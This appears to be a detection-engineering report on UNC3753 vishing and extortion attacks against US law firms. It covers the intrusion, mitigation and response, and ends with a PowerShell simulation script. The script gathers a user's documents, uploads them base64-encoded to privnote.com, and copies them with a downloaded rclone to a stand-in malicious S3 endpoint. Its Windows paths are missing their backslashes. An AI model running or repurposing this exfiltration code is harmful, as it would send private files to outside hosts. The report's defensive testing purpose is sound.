Seeking Counsel: Ongoing Targeted Attacks Against US Law Firms

Summary

A financially motivated threat cluster tracked as UNC3753 is running vishing campaigns that trick victims into installing remote monitoring and management software. Once access is established, the actors steal sensitive legal and financial information and then extort the victim organization by threatening public exposure. The campaign is focused on U.S. professional services firms, particularly law firms, and may involve both cyber-enabled and physical data theft.

Investigation

Mandiant observed the complete intrusion cycle, from the initial voice-phishing call to data theft and extortion, sometimes within a single business day. Victims were convinced to use screen-sharing tools and RMM software such as AnyDesk, Bomgar, or a custom SuperOps installer delivered with a curl command. Data exfiltration was carried out using tools such as WinSCP, Rclone, or direct uploads to consumer cloud storage accounts.

Mitigation

Organizations should train staff to recognize vishing attempts, enforce strict verification procedures for any remote support request, and block unauthorized RMM and screen-sharing tools. Disabling removable media, monitoring for unusual outbound transfers to cloud storage or FTP destinations, applying conditional access controls to VDI, and enforcing MFA on critical document repositories can further reduce risk.

Response

If this activity is detected, isolate the affected endpoint immediately, terminate any unauthorized remote sessions, and remove installed RMM binaries. Investigators should collect command-line history, registry changes, and scheduled task artifacts for forensic review. Compromised credentials should be reset, data exfiltration should be assessed, and law enforcement engagement should be considered if extortion has begun.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Recon & Data Staging (T1005, T1083):
     The adversary enumerates user directories and copies all *.docx and *.xlsx files to a staging folder C:TempStagedData.

  2. Upload via Privnote (T1567.002):
     Using PowerShell, the attacker reads each file, base‑64‑encodes the content, and posts it to https://privnote.com/api/note. The command line includes the URL, which satisfies the selection_privnote condition.

  3. Transfer with Rclone (T1020):
     The attacker runs rclone.exe (downloaded on‑the‑fly) to push the staged files to a malicious S3 bucket. The process name “rclone.exe” matches selection_tool.

  4. Cleanup: Delete the staging folder and any residual binaries.

• Regression Test Script: (PowerShell – self‑contained, no external dependencies beyond Invoke-WebRequest.)

  # -------------------------------------------------
  # UNC3753 Exfiltration Simulation – PowerShell
  # -------------------------------------------------
  # 1. Prepare staging directory
  $staging = "$env:USERPROFILETempStagedData"
  New-Item -ItemType Directory -Force -Path $staging | Out-Null
  
  # 2. Copy sample data (simulate data collection)
  Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue |
      ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force }
  
  # 3. Upload each file to Privnote (web‑service exfiltration)
  $privnoteUrl = "https://privnote.com/api/note"
  Get-ChildItem -Path $staging -File | ForEach-Object {
      $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName))
      $body = @{ text = $content }
      # The URL appears in the command line -> triggers selection_privnote
      Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null
  }
  
  # 4. Download Rclone (if not present) and exfiltrate via S3
  $rcloneExe = "$env:TEMPrclone.exe"
  if (-not (Test-Path $rcloneExe)) {
      Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip"
      Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force
      Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force
  }
  
  # Configure a remote (malicious) S3 bucket – the config is written to a temporary file
  $rcloneConfig = @"
  [malicious
  type = s3
  provider = AWS
  access_key_id = AKIAFAKEKEY
  secret_access_key = fakeSecretKey123
  region = us-east-1
  endpoint = https://malicious-s3.example.com
  "@
  $configPath = "$env:TEMPrclone.conf"
  $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII
  
  # Execute rclone copy – process name "rclone.exe" triggers selection_tool
  & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO
  
  # 5. Cleanup
  Remove-Item -Recurse -Force $staging
  Remove-Item -Force $rcloneExe, $configPath

• Cleanup Commands:

  # Terminate any lingering WinSCP or Rclone processes
  Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Delete temporary files left behind (if any)
  Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue

End of Report